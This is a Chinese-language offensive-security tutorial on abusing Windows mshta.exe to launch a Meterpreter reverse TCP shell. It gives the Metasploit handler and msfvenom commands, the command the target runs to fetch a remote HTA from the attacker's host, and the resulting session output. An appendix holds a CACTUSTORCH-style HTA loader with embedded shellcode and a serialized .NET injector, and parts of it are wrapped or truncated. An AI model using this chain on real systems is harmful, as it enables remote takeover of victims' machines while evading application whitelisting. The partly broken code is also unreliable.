专注APT攻击与防御
https://micropoor.blogspot.com/

Mshta简介：
Mshta.exe是微软Windows操作系统相关程序，英文全称Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于执行.HTA文件。

说明：Mshta所在路径已被系统添加PATH环境变量中，因此，可直接执行Mshta.exe命令。

基于白名单Mshta.exe配置payload：

Windows 7 默认位置：

> C:\Windows\System32\mshta.exe
> C:\Windows\SysWOW64\mshta.exe

攻击机：192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7

配置攻击机msf：

```
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.4      yes       The listen address (an interface may be specified)
   LPORT     53               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
```

配置payload：

```
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 -f raw > shellcode.bin
```

```
root@John:/var/www/html# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 -f raw > shellcode.bin
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
```

```
cat shellcode.bin |base64 -w 0
```

```
root@John:/var/www/html# cat shellcode.bin |base64 -w 0
/OiCAAAAYInlMcBki1AwilIMilIUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTiOkY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSRl5FiLWCQBO2aLDEuLWBwB04sEiwHQiUQkJFtbYVlaU
f/gX19aixLrjVloMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEA
AAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2hlbk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=root@John:/var/www/html#
```

替换如下：

```
' Dim code : code = "TVroAAAAAFtSRVWJ5YHDcoAAAP/TicNXaAQA
```

靶机执行：

```
mshta.exe http://192.168.1.4/Micropoor.hta
```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 5 opened (192.168.1.4:53 -> 192.168.1.3:16475) at 2019-01-16 00:59:1

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 5436
meterpreter >
```

```
命令提示符

C:\Users\John>mshta.exe http://192.168.1.4/CACTUSTORCH.hta
```

附录：Micropoor.hta

注：x86 payload

```
<script language="VBScript">

' Usage:
' Choose a binary you want to inject into, default "rundll32.exe", you can use notepad.exe, calc.exe for example...
' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt Strike, Metasploit Framework
' Run: cat payload.bin | base64 -w 0
' Copy the base64 encoded payload into the code variable below.

' Replace with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and SYSTEM32
Dim binary : binary = "rundll32.exe"

' Base64 encoded 32 bit shellcode

```

```
Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tS
EItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04
sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjA
qAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1Y
P4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1
h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="

Sub Debug(s)
End Sub
Sub SetVersion
End Sub
Function Base64ToStream(b)
 Dim enc, length, ba, transform, ms
 Set enc = CreateObject("System.Text.ASCIIEncoding")
 length = enc.GetByteCount_2(b)
 Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
 Set ms = CreateObject("System.IO.MemoryStream")
 ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length
/ 4) * 3)
 ms.Position = 0
 Set Base64ToStream = ms
End Function

Sub Run
Dim s, entry_class
 s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
 s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaX
ph"
 s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2
xk"
 s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAA
kD"
 s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYX
Rl"
 s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZX
RU"
 s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZV
Nl"
 s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW
90"
 s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLj
Au"
 s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAA
AH"
 s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAw
AA"
 s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZX
Qw"
```

```
s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZU
Vu"
s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAA
AA"
s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW
9u"
s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlcl
R5"
s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAA
YR"
s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCw
AA"
s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS
5Y"
s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNz
dh"
s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQX
Nz"
s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAA
AA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2
dy"
s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAA
AA"
s = s & "AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAA
QA"
s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAID
UA"
s = s & "AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAA
AA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAA
AA"
s = s & "AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAA
BA"
s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAA
AA"
s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAA
AA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACi
oT"
s = s & "MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEg
AA"
s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChb
ME"
s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAA
AK"
s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAA
AK"
s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9Ag
AA"
s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAA
QC"
```

```
s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAi
gP"
s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAA
Aj"
s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAAN
wB"
s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHw
AA"
s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAmQYBAAAAAAAGAFwFkgcGAN
kF"
s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4Q
YG"
s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL
4I"
s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACA
AK"
s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAA
IB"
s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPw
AG"
s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgF
EB"
s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAw
FW"
s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgD
oD"
s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPw
AG"
s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC
4I"
s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADg
FW"
s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgM
UA"
s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgA
CW"
s = s & "IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJ
Eg"
s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhh
g+"
s = s & "BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAA
kA"
s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQ
cA"
s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAA
YA"
s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEA
BB"
s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAF
MG"
s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTA
AJ"
```

```
s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA"
s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ"
s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA"
s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ"
s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB"
s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu"
s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA"
s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB"
s = s & "AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA"
s = s & "AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN"
s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VUV9S"
s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU"
s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP"
s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB"
s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF"
s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT"
s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP"
s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP"
s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ"
s = s & "VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU"
s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD"
s = s & "UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP"
s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J"
s = s & "Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X"
s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO"
s = s & "SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy"
```

```
125 s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZ
ABs"
126 s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJb
mhl"
127 s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZ
QBW"
128 s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRya
WJ1"
129 s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5V
HJh"
130 s = s & "ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0c
mli"
131 s = s & "dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQ
XR0"
132 s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQ
XNz"
133 s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtY
mx5"
134 s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplA
GR3"
135 s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQ
UNI"
136 s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3Rya
W5n"
137 s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ
0FD"
138 s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZ
XNz"
139 s = s & "SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0d
XBJ"
140 s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAb
HBT"
141 s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVud
Glt"
142 s = s & "ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z
2dp"
143 s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0d
HJp"
144 s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzR
mxh"
145 s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFyc
wBU"
146 s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3Rhc
nRB"
147 s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU
3Rk"
148 s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3Jpd
GVQ"
149 s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsa
XR5"
150 s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAc
wBX"
```

```
s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE"
s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD"
s = s & "Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE"
s = s & "IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA"
s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAg"
s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS"
s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB"
s = s & "AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT"
s = s & "VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3"
s = s & "NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAA"
s = s & "ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAANAM0AAAAVgBTAF8A"
s = s & "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAD8AAAAAA"
s = s & "AAAABAAAAAIAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAACQAA"
s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs"
s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA"
s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA"
s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA"
s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu"
s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA"
s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV"
s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA"
s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP"
```

```vb
s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAAEMAQQBDAFQA"
s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw"
s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA"
s = s & "LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
